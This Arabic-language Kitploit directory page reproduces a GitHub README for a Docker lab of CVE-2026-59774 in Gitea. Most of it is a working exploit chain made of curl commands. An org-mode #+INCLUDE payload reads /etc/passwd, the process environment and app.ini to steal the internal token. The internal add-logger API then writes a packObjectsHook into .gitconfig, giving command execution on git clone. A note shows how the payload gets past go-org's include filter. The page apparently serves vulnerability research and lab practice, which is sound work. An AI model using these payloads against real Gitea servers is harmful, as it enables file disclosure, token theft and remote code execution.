Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
أدوات/GitHubGitHub/flowerwitch/cve-2026-59774_docker
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبمختبرات وتدريب عملي
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

عرض المستودع
11منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-59774_docker

1. سحب gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.التهيئة

قم بالوصول إلى gitea

http://localhost:3000/install

3.إنشاء repository

new repository يكون عامًا افتراضيًا، ولا حاجة إلى أي إعدادات أخرى

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. قسم RCE

  1. أولاً، من خلال قراءة حقل GITEA_CUSTOM في /proc/self/environ، يتم الحصول على موقع تخزين بيانات gitea
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. اقرأ {GITEA_CUSTOM}/conf/app.ini للحصول على الحقلين INTERNAL_TOKEN وAPP_DATA_PATH
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. هنا وجدت واجهة add-logger، وعندما يكون Mode لهذه الواجهة مساويًا لـ File فإنها تقوم بالإضافة الكتابي إلى ملف محلي (وإذا لم يكن الهدف موجودًا فسيتم إنشاء الدليل المقابل)، وفي الوقت نفسه عندما يكون حقل logger الخاص بها مساويًا لـ router فإن تنفيذها سيؤدي إلى إطلاق سجل واحد، وتكون نتيجة الإخراج أفضل بكثير مقارنةً بـ default (لأنه لن يقوم بفصل الأسطر XD). ومن خلال الكتابة الاعتباطية في الأول، تتم إضافة حقل packObjectsHook إلى ملف .gitconfig الخاص بـ gitea لتحقيق تنفيذ الأوامر عبر استنساخ مجهول الهوية.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. أغلق مقبض السجل لتجنب تلويث الطلبات اللاحقة للتكوين التالي، وسّتخدم logger و writer المذكورين أعلاه
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone يؤدي إلى تنفيذ الأوامر
image

مثال

gg1

ملاحظة

في go-org 1.9.1، تحتوي الدالة parseInclude على قاعدة تصفية بتعبير نمطي includeFileRegexp لا يمكن الانتقال إلى الدوال اللاحقة إلا عند مطابقتها.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp شروط المطابقة كما يلي

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

وبالتالي فإن payload مثل "#+INCLUDE: \"/etc/passwd\"\n" لا يمكن مطابقته بشكل طبيعي، ويجب أن يتوافق البناء مع التعبير، مثل:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
تنزيل الأداة